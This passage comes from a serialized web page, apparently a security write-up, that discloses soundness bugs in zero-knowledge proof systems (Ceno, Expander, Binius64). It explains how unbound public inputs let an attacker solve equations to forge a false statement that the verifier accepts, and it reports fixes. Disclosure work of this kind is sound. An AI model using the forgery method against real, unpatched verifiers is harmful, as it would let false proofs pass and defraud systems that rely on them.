type":29,"value":21488},{"type":24,"tag":83,"props":120078,"children":120080},{"className":120079},[3779],[120081],{"type":24,"tag":83,"props":120082,"children":120084},{"className":120083,"style":92843},[3784],[120085],{"type":24,"tag":83,"props":120086,"children":120087},{},[],{"type":24,"tag":83,"props":120089,"children":120091},{"className":120090},[3865],[120092],{"type":29,"value":3868},{"type":24,"tag":83,"props":120094,"children":120096},{"className":120095,"style":3872},[3833],[],{"type":24,"tag":83,"props":120098,"children":120100},{"className":120099},[3753],[120101,120106],{"type":24,"tag":83,"props":120102,"children":120104},{"className":120103},[3753,21328],[120105],{"type":29,"value":19015},{"type":24,"tag":83,"props":120107,"children":120109},{"className":120108},[3769],[120110],{"type":24,"tag":83,"props":120111,"children":120113},{"className":120112},[3774,21382],[120114,120143],{"type":24,"tag":83,"props":120115,"children":120117},{"className":120116},[3779],[120118,120138],{"type":24,"tag":83,"props":120119,"children":120121},{"className":120120,"style":92812},[3784],[120122],{"type":24,"tag":83,"props":120123,"children":120124},{"style":92816},[120125,120129],{"type":24,"tag":83,"props":120126,"children":120128},{"className":120127,"style":3794},[3793],[],{"type":24,"tag":83,"props":120130,"children":120132},{"className":120131},[3799,3800,3801,3802],[120133],{"type":24,"tag":83,"props":120134,"children":120136},{"className":120135},[3753,3802],[120137],{"type":29,"value":3756},{"type":24,"tag":83,"props":120139,"children":120141},{"className":120140},[21485],[120142],{"type":29,"value":21488},{"type":24,"tag":83,"props":120144,"children":120146},{"className":120145},[3779],[120147],{"type":24,"tag":83,"props":120148,"children":120150},{"className":120149,"style":92843},[3784],[120151],{"type":24,"tag":83,"props":120152,"children":120153},{},[],{"type":24,"tag":83,"props":120155,"children":120157},{"className":120156},[21479],[120158],{"type":29,"value":2872},{"type":29,"value":120160}," and two equations, one linear and one bilinear:",{"type":24,"tag":63,"props":120162,"children":120163},{},[120164,120491],{"type":24,"tag":67,"props":120165,"children":120166},{},[120167,120169],{"type":29,"value":120168},"Linear (from GKR): ",{"type":24,"tag":32,"props":120170,"children":120172},{"className":120171},[3726,3727],[120173],{"type":24,"tag":83,"props":120174,"children":120176},{"className":120175},[3732],[120177],{"type":24,"tag":83,"props":120178,"children":120180},{"className":120179,"ariaHidden":1237},[3737],[120181,120317,120452,120478],{"type":24,"tag":83,"props":120182,"children":120184},{"className":120183},[3742],[120185,120190,120247,120304,120308,120313],{"type":24,"tag":83,"props":120186,"children":120189},{"className":120187,"style":120188},[3747],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":120191,"children":120193},{"className":120192},[3753],[120194,120199],{"type":24,"tag":83,"props":120195,"children":120197},{"className":120196},[3753,21328],[120198],{"type":29,"value":2033},{"type":24,"tag":83,"props":120200,"children":120202},{"className":120201},[3769],[120203],{"type":24,"tag":83,"props":120204,"children":120206},{"className":120205},[3774,21382],[120207,120236],{"type":24,"tag":83,"props":120208,"children":120210},{"className":120209},[3779],[120211,120231],{"type":24,"tag":83,"props":120212,"children":120214},{"className":120213,"style":92812},[3784],[120215],{"type":24,"tag":83,"props":120216,"children":120217},{"style":92816},[120218,120222],{"type":24,"tag":83,"props":120219,"children":120221},{"className":120220,"style":3794},[3793],[],{"type":24,"tag":83,"props":120223,"children":120225},{"className":120224},[3799,3800,3801,3802],[120226],{"type":24,"tag":83,"props":120227,"children":120229},{"className":120228},[3753,3802],[120230],{"type":29,"value":1166},{"type":24,"tag":83,"props":120232,"children":120234},{"className":120233},[21485],[120235],{"type":29,"value":21488},{"type":24,"tag":83,"props":120237,"children":120239},{"className":120238},[3779],[120240],{"type":24,"tag":83,"props":120241,"children":120243},{"className":120242,"style":92843},[3784],[120244],{"type":24,"tag":83,"props":120245,"children":120246},{},[],{"type":24,"tag":83,"props":120248,"children":120250},{"className":120249},[3753],[120251,120256],{"type":24,"tag":83,"props":120252,"children":120254},{"className":120253},[3753,21328],[120255],{"type":29,"value":19015},{"type":24,"tag":83,"props":120257,"children":120259},{"className":120258},[3769],[120260],{"type":24,"tag":83,"props":120261,"children":120263},{"className":120262},[3774,21382],[120264,120293],{"type":24,"tag":83,"props":120265,"children":120267},{"className":120266},[3779],[120268,120288],{"type":24,"tag":83,"props":120269,"children":120271},{"className":120270,"style":92812},[3784],[120272],{"type":24,"tag":83,"props":120273,"children":120274},{"style":92816},[120275,120279],{"type":24,"tag":83,"props":120276,"children":120278},{"className":120277,"style":3794},[3793],[],{"type":24,"tag":83,"props":120280,"children":120282},{"className":120281},[3799,3800,3801,3802],[120283],{"type":24,"tag":83,"props":120284,"children":120286},{"className":120285},[3753,3802],[120287],{"type":29,"value":1166},{"type":24,"tag":83,"props":120289,"children":120291},{"className":120290},[21485],[120292],{"type":29,"value":21488},{"type":24,"tag":83,"props":120294,"children":120296},{"className":120295},[3779],[120297],{"type":24,"tag":83,"props":120298,"children":120300},{"className":120299,"style":92843},[3784],[120301],{"type":24,"tag":83,"props":120302,"children":120303},{},[],{"type":24,"tag":83,"props":120305,"children":120307},{"className":120306,"style":3834},[3833],[],{"type":24,"tag":83,"props":120309,"children":120311},{"className":120310},[3839],[120312],{"type":29,"value":4126},{"type":24,"tag":83,"props":120314,"children":120316},{"className":120315,"style":3834},[3833],[],{"type":24,"tag":83,"props":120318,"children":120320},{"className":120319},[3742],[120321,120325,120382,120439,120443,120448],{"type":24,"tag":83,"props":120322,"children":120324},{"className":120323,"style":120188},[3747],[],{"type":24,"tag":83,"props":120326,"children":120328},{"className":120327},[3753],[120329,120334],{"type":24,"tag":83,"props":120330,"children":120332},{"className":120331},[3753,21328],[120333],{"type":29,"value":2033},{"type":24,"tag":83,"props":120335,"children":120337},{"className":120336},[3769],[120338],{"type":24,"tag":83,"props":120339,"children":120341},{"className":120340},[3774,21382],[120342,120371],{"type":24,"tag":83,"props":120343,"children":120345},{"className":120344},[3779],[120346,120366],{"type":24,"tag":83,"props":120347,"children":120349},{"className":120348,"style":92812},[3784],[120350],{"type":24,"tag":83,"props":120351,"children":120352},{"style":92816},[120353,120357],{"type":24,"tag":83,"props":120354,"children":120356},{"className":120355,"style":3794},[3793],[],{"type":24,"tag":83,"props":120358,"children":120360},{"className":120359},[3799,3800,3801,3802],[120361],{"type":24,"tag":83,"props":120362,"children":120364},{"className":120363},[3753,3802],[120365],{"type":29,"value":3756},{"type":24,"tag":83,"props":120367,"children":120369},{"className":120368},[21485],[120370],{"type":29,"value":21488},{"type":24,"tag":83,"props":120372,"children":120374},{"className":120373},[3779],[120375],{"type":24,"tag":83,"props":120376,"children":120378},{"className":120377,"style":92843},[3784],[120379],{"type":24,"tag":83,"props":120380,"children":120381},{},[],{"type":24,"tag":83,"props":120383,"children":120385},{"className":120384},[3753],[120386,120391],{"type":24,"tag":83,"props":120387,"children":120389},{"className":120388},[3753,21328],[120390],{"type":29,"value":19015},{"type":24,"tag":83,"props":120392,"children":120394},{"className":120393},[3769],[120395],{"type":24,"tag":83,"props":120396,"children":120398},{"className":120397},[3774,21382],[120399,120428],{"type":24,"tag":83,"props":120400,"children":120402},{"className":120401},[3779],[120403,120423],{"type":24,"tag":83,"props":120404,"children":120406},{"className":120405,"style":92812},[3784],[120407],{"type":24,"tag":83,"props":120408,"children":120409},{"style":92816},[120410,120414],{"type":24,"tag":83,"props":120411,"children":120413},{"className":120412,"style":3794},[3793],[],{"type":24,"tag":83,"props":120415,"children":120417},{"className":120416},[3799,3800,3801,3802],[120418],{"type":24,"tag":83,"props":120419,"children":120421},{"className":120420},[3753,3802],[120422],{"type":29,"value":3756},{"type":24,"tag":83,"props":120424,"children":120426},{"className":120425},[21485],[120427],{"type":29,"value":21488},{"type":24,"tag":83,"props":120429,"children":120431},{"className":120430},[3779],[120432],{"type":24,"tag":83,"props":120433,"children":120435},{"className":120434,"style":92843},[3784],[120436],{"type":24,"tag":83,"props":120437,"children":120438},{},[],{"type":24,"tag":83,"props":120440,"children":120442},{"className":120441,"style":3834},[3833],[],{"type":24,"tag":83,"props":120444,"children":120446},{"className":120445},[3839],[120447],{"type":29,"value":4126},{"type":24,"tag":83,"props":120449,"children":120451},{"className":120450,"style":3834},[3833],[],{"type":24,"tag":83,"props":120453,"children":120455},{"className":120454},[3742],[120456,120460,120465,120469,120474],{"type":24,"tag":83,"props":120457,"children":120459},{"className":120458,"style":110421},[3747],[],{"type":24,"tag":83,"props":120461,"children":120463},{"className":120462},[3753,21328],[120464],{"type":29,"value":2891},{"type":24,"tag":83,"props":120466,"children":120468},{"className":120467,"style":3931},[3833],[],{"type":24,"tag":83,"props":120470,"children":120472},{"className":120471},[3936],[120473],{"type":29,"value":1275},{"type":24,"tag":83,"props":120475,"children":120477},{"className":120476,"style":3931},[3833],[],{"type":24,"tag":83,"props":120479,"children":120481},{"className":120480},[3742],[120482,120486],{"type":24,"tag":83,"props":120483,"children":120485},{"className":120484,"style":93791},[3747],[],{"type":24,"tag":83,"props":120487,"children":120489},{"className":120488},[3753],[120490],{"type":29,"value":1166},{"type":24,"tag":67,"props":120492,"children":120493},{},[120494,120496],{"type":29,"value":120495},"Bilinear (from multiset): ",{"type":24,"tag":32,"props":120497,"children":120499},{"className":120498},[3726,3727],[120500],{"type":24,"tag":83,"props":120501,"children":120503},{"className":120502},[3732],[120504],{"type":24,"tag":83,"props":120505,"children":120507},{"className":120506,"ariaHidden":1237},[3737],[120508,120534,120612,120690,120716],{"type":24,"tag":83,"props":120509,"children":120511},{"className":120510},[3742],[120512,120516,120521,120525,120530],{"type":24,"tag":83,"props":120513,"children":120515},{"className":120514,"style":92675},[3747],[],{"type":24,"tag":83,"props":120517,"children":120519},{"className":120518,"style":94189},[3753,21328],[120520],{"type":29,"value":88397},{"type":24,"tag":83,"props":120522,"children":120524},{"className":120523,"style":3834},[3833],[],{"type":24,"tag":83,"props":120526,"children":120528},{"className":120527},[3839],[120529],{"type":29,"value":110842},{"type":24,"tag":83,"props":120531,"children":120533},{"className":120532,"style":3834},[3833],[],{"type":24,"tag":83,"props":120535,"children":120537},{"className":120536},[3742],[120538,120542,120599,120603,120608],{"type":24,"tag":83,"props":120539,"children":120541},{"className":120540,"style":119634},[3747],[],{"type":24,"tag":83,"props":120543,"children":120545},{"className":120544},[3753],[120546,120551],{"type":24,"tag":83,"props":120547,"children":120549},{"className":120548},[3753,21328],[120550],{"type":29,"value":19015},{"type":24,"tag":83,"props":120552,"children":120554},{"className":120553},[3769],[120555],{"type":24,"tag":83,"props":120556,"children":120558},{"className":120557},[3774,21382],[120559,120588],{"type":24,"tag":83,"props":120560,"children":120562},{"className":120561},[3779],[120563,120583],{"type":24,"tag":83,"props":120564,"children":120566},{"className":120565,"style":92812},[3784],[120567],{"type":24,"tag":83,"props":120568,"children":120569},{"style":92816},[120570,120574],{"type":24,"tag":83,"props":120571,"children":120573},{"className":120572,"style":3794},[3793],[],{"type":24,"tag":83,"props":120575,"children":120577},{"className":120576},[3799,3800,3801,3802],[120578],{"type":24,"tag":83,"props":120579,"children":120581},{"className":120580},[3753,3802],[120582],{"type":29,"value":1166},{"type":24,"tag":83,"props":120584,"children":120586},{"className":120585},[21485],[120587],{"type":29,"value":21488},{"type":24,"tag":83,"props":120589,"children":120591},{"className":120590},[3779],[120592],{"type":24,"tag":83,"props":120593,"children":120595},{"className":120594,"style":92843},[3784],[120596],{"type":24,"tag":83,"props":120597,"children":120598},{},[],{"type":24,"tag":83,"props":120600,"children":120602},{"className":120601,"style":3834},[3833],[],{"type":24,"tag":83,"props":120604,"children":120606},{"className":120605},[3839],[120607],{"type":29,"value":110842},{"type":24,"tag":83,"props":120609,"children":120611},{"className":120610,"style":3834},[3833],[],{"type":24,"tag":83,"props":120613,"children":120615},{"className":120614},[3742],[120616,120620,120677,120681,120686],{"type":24,"tag":83,"props":120617,"children":120619},{"className":120618,"style":120188},[3747],[],{"type":24,"tag":83,"props":120621,"children":120623},{"className":120622},[3753],[120624,120629],{"type":24,"tag":83,"props":120625,"children":120627},{"className":120626},[3753,21328],[120628],{"type":29,"value":19015},{"type":24,"tag":83,"props":120630,"children":120632},{"className":120631},[3769],[120633],{"type":24,"tag":83,"props":120634,"children":120636},{"className":120635},[3774,21382],[120637,120666],{"type":24,"tag":83,"props":120638,"children":120640},{"className":120639},[3779],[120641,120661],{"type":24,"tag":83,"props":120642,"children":120644},{"className":120643,"style":92812},[3784],[120645],{"type":24,"tag":83,"props":120646,"children":120647},{"style":92816},[120648,120652],{"type":24,"tag":83,"props":120649,"children":120651},{"className":120650,"style":3794},[3793],[],{"type":24,"tag":83,"props":120653,"children":120655},{"className":120654},[3799,3800,3801,3802],[120656],{"type":24,"tag":83,"props":120657,"children":120659},{"className":120658},[3753,3802],[120660],{"type":29,"value":3756},{"type":24,"tag":83,"props":120662,"children":120664},{"className":120663},[21485],[120665],{"type":29,"value":21488},{"type":24,"tag":83,"props":120667,"children":120669},{"className":120668},[3779],[120670],{"type":24,"tag":83,"props":120671,"children":120673},{"className":120672,"style":92843},[3784],[120674],{"type":24,"tag":83,"props":120675,"children":120676},{},[],{"type":24,"tag":83,"props":120678,"children":120680},{"className":120679,"style":3834},[3833],[],{"type":24,"tag":83,"props":120682,"children":120684},{"className":120683},[3839],[120685],{"type":29,"value":4126},{"type":24,"tag":83,"props":120687,"children":120689},{"className":120688,"style":3834},[3833],[],{"type":24,"tag":83,"props":120691,"children":120693},{"className":120692},[3742],[120694,120698,120703,120707,120712],{"type":24,"tag":83,"props":120695,"children":120697},{"className":120696,"style":92675},[3747],[],{"type":24,"tag":83,"props":120699,"children":120701},{"className":120700},[3753,21328],[120702],{"type":29,"value":70279},{"type":24,"tag":83,"props":120704,"children":120706},{"className":120705,"style":3931},[3833],[],{"type":24,"tag":83,"props":120708,"children":120710},{"className":120709},[3936],[120711],{"type":29,"value":1275},{"type":24,"tag":83,"props":120713,"children":120715},{"className":120714,"style":3931},[3833],[],{"type":24,"tag":83,"props":120717,"children":120719},{"className":120718},[3742],[120720,120724],{"type":24,"tag":83,"props":120721,"children":120723},{"className":120722,"style":93791},[3747],[],{"type":24,"tag":83,"props":120725,"children":120727},{"className":120726},[3753],[120728],{"type":29,"value":1166},{"type":24,"tag":25,"props":120730,"children":120731},{},[120732],{"type":29,"value":120733},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":25,"props":120735,"children":120736},{},[120737,120741,120743,120750,120752,120759],{"type":24,"tag":2040,"props":120738,"children":120739},{},[120740],{"type":29,"value":116290},{"type":29,"value":120742}," Fixed on March 5, 2026 via ",{"type":24,"tag":2033,"props":120744,"children":120747},{"href":120745,"rel":120746},"https://github.com/scroll-tech/ceno/pull/1262",[2037],[120748],{"type":29,"value":120749},"PR #1262",{"type":29,"value":120751}," (original report: ",{"type":24,"tag":2033,"props":120753,"children":120756},{"href":120754,"rel":120755},"https://github.com/scroll-tech/ceno/issues/1125",[2037],[120757],{"type":29,"value":120758},"#1125",{"type":29,"value":2872},{"type":24,"tag":18531,"props":120761,"children":120762},{},[],{"type":24,"tag":1818,"props":120764,"children":120766},{"id":120765},"expander-polyhedra",[120767],{"type":29,"value":120768},"Expander (Polyhedra)",{"type":24,"tag":25,"props":120770,"children":120771},{},[120772],{"type":29,"value":120773},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":25,"props":120775,"children":120776},{},[120777],{"type":24,"tag":2040,"props":120778,"children":120779},{},[120780],{"type":29,"value":114996},{"type":24,"tag":73,"props":120782,"children":120784},{"code":120783},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[120785],{"type":24,"tag":32,"props":120786,"children":120787},{"__ignoreMap":7},[120788],{"type":29,"value":120783},{"type":24,"tag":25,"props":120790,"children":120791},{},[120792,120794,120800],{"type":29,"value":120793},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":32,"props":120795,"children":120797},{"className":120796},[],[120798],{"type":29,"value":120799},"eval_cst",{"type":29,"value":120801}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":73,"props":120803,"children":120805},{"code":120804,"language":2724,"meta":7,"className":2725,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[120806],{"type":24,"tag":32,"props":120807,"children":120808},{"__ignoreMap":7},[120809],{"type":24,"tag":83,"props":120810,"children":120811},{"class":85,"line":86},[120812,120816,120821,120826,120830,120834,120838,120842,120847,120851,120856,120861,120865,120870],{"type":24,"tag":83,"props":120813,"children":120814},{"style":137},[120815],{"type":29,"value":76347},{"type":24,"tag":83,"props":120817,"children":120818},{"style":143},[120819],{"type":29,"value":120820}," -=",{"type":24,"tag":83,"props":120822,"children":120823},{"style":3163},[120824],{"type":29,"value":120825}," GKRVerifierHelper",{"type":24,"tag":83,"props":120827,"children":120828},{"style":143},[120829],{"type":29,"value":3226},{"type":24,"tag":83,"props":120831,"children":120832},{"style":101},[120833],{"type":29,"value":120799},{"type":24,"tag":83,"props":120835,"children":120836},{"style":107},[120837],{"type":29,"value":558},{"type":24,"tag":83,"props":120839,"children":120840},{"style":143},[120841],{"type":29,"value":2853},{"type":24,"tag":83,"props":120843,"children":120844},{"style":137},[120845],{"type":29,"value":120846},"layer",{"type":24,"tag":83,"props":120848,"children":120849},{"style":143},[120850],{"type":29,"value":161},{"type":24,"tag":83,"props":120852,"children":120853},{"style":107},[120854],{"type":29,"value":120855},"const_, ",{"type":24,"tag":83,"props":120857,"children":120858},{"style":137},[120859],{"type":29,"value":120860},"public_input",{"type":24,"tag":83,"props":120862,"children":120863},{"style":107},[120864],{"type":29,"value":568},{"type":24,"tag":83,"props":120866,"children":120867},{"style":137},[120868],{"type":29,"value":120869},"sp",{"type":24,"tag":83,"props":120871,"children":120872},{"style":107},[120873],{"type":29,"value":581},{"type":24,"tag":25,"props":120875,"children":120876},{},[120877,120879,120884],{"type":29,"value":120878},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":32,"props":120880,"children":120882},{"className":120881},[],[120883],{"type":29,"value":120869},{"type":29,"value":2554},{"type":24,"tag":25,"props":120886,"children":120887},{},[120888],{"type":24,"tag":2040,"props":120889,"children":120890},{},[120891],{"type":29,"value":120892},"The vulnerability:",{"type":24,"tag":25,"props":120894,"children":120895},{},[120896,120901],{"type":24,"tag":32,"props":120897,"children":120899},{"className":120898},[],[120900],{"type":29,"value":120860},{"type":29,"value":120902}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":25,"props":120904,"children":120905},{},[120906],{"type":24,"tag":2510,"props":120907,"children":120910},{"alt":120908,"src":120909},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":25,"props":120912,"children":120913},{},[120914,120915,120920],{"type":29,"value":16348},{"type":24,"tag":32,"props":120916,"children":120918},{"className":120917},[],[120919],{"type":29,"value":120799},{"type":29,"value":120921}," function computes a linear combination:",{"type":24,"tag":25,"props":120923,"children":120924},{},[120925],{"type":24,"tag":32,"props":120926,"children":120928},{"className":120927},[3726,3727],[120929],{"type":24,"tag":83,"props":120930,"children":120932},{"className":120931},[3732],[120933],{"type":24,"tag":83,"props":120934,"children":120936},{"className":120935,"ariaHidden":1237},[3737],[120937,120982,121106],{"type":24,"tag":83,"props":120938,"children":120940},{"className":120939},[3742],[120941,120945,120954,120959,120969,120973,120978],{"type":24,"tag":83,"props":120942,"children":120944},{"className":120943,"style":94173},[3747],[],{"type":24,"tag":83,"props":120946,"children":120948},{"className":120947},[3753,29],[120949],{"type":24,"tag":83,"props":120950,"children":120952},{"className":120951},[3753],[120953],{"type":29,"value":37271},{"type":24,"tag":83,"props":120955,"children":120957},{"className":120956,"style":92760},[3753],[120958],{"type":29,"value":2827},{"type":24,"tag":83,"props":120960,"children":120962},{"className":120961},[3753,29],[120963],{"type":24,"tag":83,"props":120964,"children":120966},{"className":120965},[3753],[120967],{"type":29,"value":120968},"cst",{"type":24,"tag":83,"props":120970,"children":120972},{"className":120971,"style":3931},[3833],[],{"type":24,"tag":83,"props":120974,"children":120976},{"className":120975},[3936],[120977],{"type":29,"value":1275},{"type":24,"tag":83,"props":120979,"children":120981},{"className":120980,"style":3931},[3833],[],{"type":24,"tag":83,"props":120983,"children":120985},{"className":120984},[3742],[120986,120990,121047,121051,121078,121083,121088,121093,121097,121102],{"type":24,"tag":83,"props":120987,"children":120989},{"className":120988,"style":92702},[3747],[],{"type":24,"tag":83,"props":120991,"children":120993},{"className":120992},[21364],[120994,120999],{"type":24,"tag":83,"props":120995,"children":120997},{"className":120996,"style":21371},[21364,21369,21370],[120998],{"type":29,"value":108375},{"type":24,"tag":83,"props":121000,"children":121002},{"className":121001},[3769],[121003],{"type":24,"tag":83,"props":121004,"children":121006},{"className":121005},[3774,21382],[121007,121036],{"type":24,"tag":83,"props":121008,"children":121010},{"className":121009},[3779],[121011,121031],{"type":24,"tag":83,"props":121012,"children":121014},{"className":121013,"style":113787},[3784],[121015],{"type":24,"tag":83,"props":121016,"children":121017},{"style":21395},[121018,121022],{"type":24,"tag":83,"props":121019,"children":121021},{"className":121020,"style":3794},[3793],[],{"type":24,"tag":83,"props":121023,"children":121025},{"className":121024},[3799,3800,3801,3802],[121026],{"type":24,"tag":83,"props":121027,"children":121029},{"className":121028},[3753,21328,3802],[121030],{"type":29,"value":3482},{"type":24,"tag":83,"props":121032,"children":121034},{"className":121033},[21485],[121035],{"type":29,"value":21488},{"type":24,"tag":83,"props":121037,"children":121039},{"className":121038},[3779],[121040],{"type":24,"tag":83,"props":121041,"children":121043},{"className":121042,"style":114067},[3784],[121044],{"type":24,"tag":83,"props":121045,"children":121046},{},[],{"type":24,"tag":83,"props":121048,"children":121050},{"className":121049,"style":3872},[3833],[],{"type":24,"tag":83,"props":121052,"children":121054},{"className":121053},[3753],[121055,121064,121069],{"type":24,"tag":83,"props":121056,"children":121058},{"className":121057},[3753,29],[121059],{"type":24,"tag":83,"props":121060,"children":121062},{"className":121061},[3753],[121063],{"type":29,"value":61390},{"type":24,"tag":83,"props":121065,"children":121067},{"className":121066,"style":92760},[3753],[121068],{"type":29,"value":2827},{"type":24,"tag":83,"props":121070,"children":121072},{"className":121071},[3753,29],[121073],{"type":24,"tag":83,"props":121074,"children":121076},{"className":121075},[3753],[121077],{"type":29,"value":8112},{"type":24,"tag":83,"props":121079,"children":121081},{"className":121080},[21457],[121082],{"type":29,"value":1161},{"type":24,"tag":83,"props":121084,"children":121086},{"className":121085},[3753,21328],[121087],{"type":29,"value":3482},{"type":24,"tag":83,"props":121089,"children":121091},{"className":121090},[21479],[121092],{"type":29,"value":15151},{"type":24,"tag":83,"props":121094,"children":121096},{"className":121095,"style":3834},[3833],[],{"type":24,"tag":83,"props":121098,"children":121100},{"className":121099},[3839],[121101],{"type":29,"value":110842},{"type":24,"tag":83,"props":121103,"children":121105},{"className":121104,"style":3834},[3833],[],{"type":24,"tag":83,"props":121107,"children":121109},{"className":121108},[3742],[121110,121114,121123,121128,121133,121138,121142,121191],{"type":24,"tag":83,"props":121111,"children":121113},{"className":121112,"style":3854},[3747],[],{"type":24,"tag":83,"props":121115,"children":121117},{"className":121116},[3753,29],[121118],{"type":24,"tag":83,"props":121119,"children":121121},{"className":121120},[3753],[121122],{"type":29,"value":112169},{"type":24,"tag":83,"props":121124,"children":121126},{"className":121125},[21457],[121127],{"type":29,"value":558},{"type":24,"tag":83,"props":121129,"children":121131},{"className":121130},[3753,21328],[121132],{"type":29,"value":3482},{"type":24,"tag":83,"props":121134,"children":121136},{"className":121135},[3865],[121137],{"type":29,"value":3868},{"type":24,"tag":83,"props":121139,"children":121141},{"className":121140,"style":3872},[3833],[],{"type":24,"tag":83,"props":121143,"children":121145},{"className":121144},[3753,111729],[121146],{"type":24,"tag":83,"props":121147,"children":121149},{"className":121148},[3774],[121150],{"type":24,"tag":83,"props":121151,"children":121153},{"className":121152},[3779],[121154],{"type":24,"tag":83,"props":121155,"children":121157},{"className":121156,"style":111815},[3784],[121158,121170],{"type":24,"tag":83,"props":121159,"children":121160},{"style":111746},[121161,121165],{"type":24,"tag":83,"props":121162,"children":121164},{"className":121163,"style":111751},[3793],[],{"type":24,"tag":83,"props":121166,"children":121168},{"className":121167,"style":92760},[3753,21328],[121169],{"type":29,"value":93579},{"type":24,"tag":83,"props":121171,"children":121172},{"style":111746},[121173,121177],{"type":24,"tag":83,"props":121174,"children":121176},{"className":121175,"style":111751},[3793],[],{"type":24,"tag":83,"props":121178,"children":121180},{"className":121179,"style":111839},[111769],[121181],{"type":24,"tag":83,"props":121182,"children":121184},{"className":121183,"style":111845},[111844],[121185],{"type":24,"tag":34010,"props":121186,"children":121187},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[121188],{"type":24,"tag":111857,"props":121189,"children":121190},{"d":111859},[],{"type":24,"tag":83,"props":121192,"children":121194},{"className":121193},[21479],[121195],{"type":29,"value":2872},{"type":24,"tag":25,"props":121197,"children":121198},{},[121199,121200,121269,121271,121276,121278,121283],{"type":29,"value":115416},{"type":24,"tag":32,"props":121201,"children":121203},{"className":121202},[3726,3727],[121204],{"type":24,"tag":83,"props":121205,"children":121207},{"className":121206},[3732],[121208],{"type":24,"tag":83,"props":121209,"children":121211},{"className":121210,"ariaHidden":1237},[3737],[121212],{"type":24,"tag":83,"props":121213,"children":121215},{"className":121214},[3742],[121216,121220],{"type":24,"tag":83,"props":121217,"children":121219},{"className":121218,"style":111815},[3747],[],{"type":24,"tag":83,"props":121221,"children":121223},{"className":121222},[3753,111729],[121224],{"type":24,"tag":83,"props":121225,"children":121227},{"className":121226},[3774],[121228],{"type":24,"tag":83,"props":121229,"children":121231},{"className":121230},[3779],[121232],{"type":24,"tag":83,"props":121233,"children":121235},{"className":121234,"style":111815},[3784],[121236,121248],{"type":24,"tag":83,"props":121237,"children":121238},{"style":111746},[121239,121243],{"type":24,"tag":83,"props":121240,"children":121242},{"className":121241,"style":111751},[3793],[],{"type":24,"tag":83,"props":121244,"children":121246},{"className":121245,"style":92760},[3753,21328],[121247],{"type":29,"value":93579},{"type":24,"tag":83,"props":121249,"children":121250},{"style":111746},[121251,121255],{"type":24,"tag":83,"props":121252,"children":121254},{"className":121253,"style":111751},[3793],[],{"type":24,"tag":83,"props":121256,"children":121258},{"className":121257,"style":111839},[111769],[121259],{"type":24,"tag":83,"props":121260,"children":121262},{"className":121261,"style":111845},[111844],[121263],{"type":24,"tag":34010,"props":121264,"children":121265},{"xmlns":111849,"width":111850,"height":111851,"style":111852,"viewBox":111853,"preserveAspectRatio":111854},[121266],{"type":24,"tag":111857,"props":121267,"children":121268},{"d":111859},[],{"type":29,"value":121270}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":32,"props":121272,"children":121274},{"className":121273},[],[121275],{"type":29,"value":120860},{"type":29,"value":121277},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":32,"props":121279,"children":121281},{"className":121280},[],[121282],{"type":29,"value":120860},{"type":29,"value":121284}," that makes the verifier's check pass.",{"type":24,"tag":25,"props":121286,"children":121287},{},[121288,121292,121294,121301,121302,121305,121312],{"type":24,"tag":2040,"props":121289,"children":121290},{},[121291],{"type":29,"value":116290},{"type":29,"value":121293}," Fixed on 21st January 2026 via ",{"type":24,"tag":2033,"props":121295,"children":121298},{"href":121296,"rel":121297},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[2037],[121299],{"type":29,"value":121300},"commit 4a8c2be",{"type":29,"value":6204},{"type":24,"tag":30720,"props":121303,"children":121304},{},[],{"type":24,"tag":2033,"props":121306,"children":121309},{"href":121307,"rel":121308},"https://blog.polyhedra.network/expander-bug-bounty/",[2037],[121310],{"type":29,"value":121311},"Claimed 500k Bug bounty",{"type":29,"value":121313}," award pending",{"type":24,"tag":18531,"props":121315,"children":121316},{},[],{"type":24,"tag":1818,"props":121318,"children":121320},{"id":121319},"binius64",[121321],{"type":29,"value":107423},{"type":24,"tag":25,"props":121323,"children":121324},{},[121325,121327,121454],{"type":29,"value":121326},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":32,"props":121328,"children":121330},{"className":121329},[3726,3727],[121331],{"type":24,"tag":83,"props":121332,"children":121334},{"className":121333},[3732],[121335],{"type":24,"tag":83,"props":121336,"children":121338},{"className":121337,"ariaHidden":1237},[3737],[121339],{"type":24,"tag":83,"props":121340,"children":121342},{"className":121341},[3742],[121343,121348],{"type":24,"tag":83,"props":121344,"children":121347},{"className":121345,"style":121346},[3747],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":83,"props":121349,"children":121351},{"className":121350},[3753],[121352,121359],{"type":24,"tag":83,"props":121353,"children":121356},{"className":121354},[3753,121355],"mathbb",[121357],{"type":29,"value":121358},"F",{"type":24,"tag":83,"props":121360,"children":121362},{"className":121361},[3769],[121363],{"type":24,"tag":83,"props":121364,"children":121366},{"className":121365},[3774,21382],[121367,121442],{"type":24,"tag":83,"props":121368,"children":121370},{"className":121369},[3779],[121371,121437],{"type":24,"tag":83,"props":121372,"children":121374},{"className":121373,"style":111912},[3784],[121375],{"type":24,"tag":83,"props":121376,"children":121378},{"style":121377},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[121379,121383],{"type":24,"tag":83,"props":121380,"children":121382},{"className":121381,"style":3794},[3793],[],{"type":24,"tag":83,"p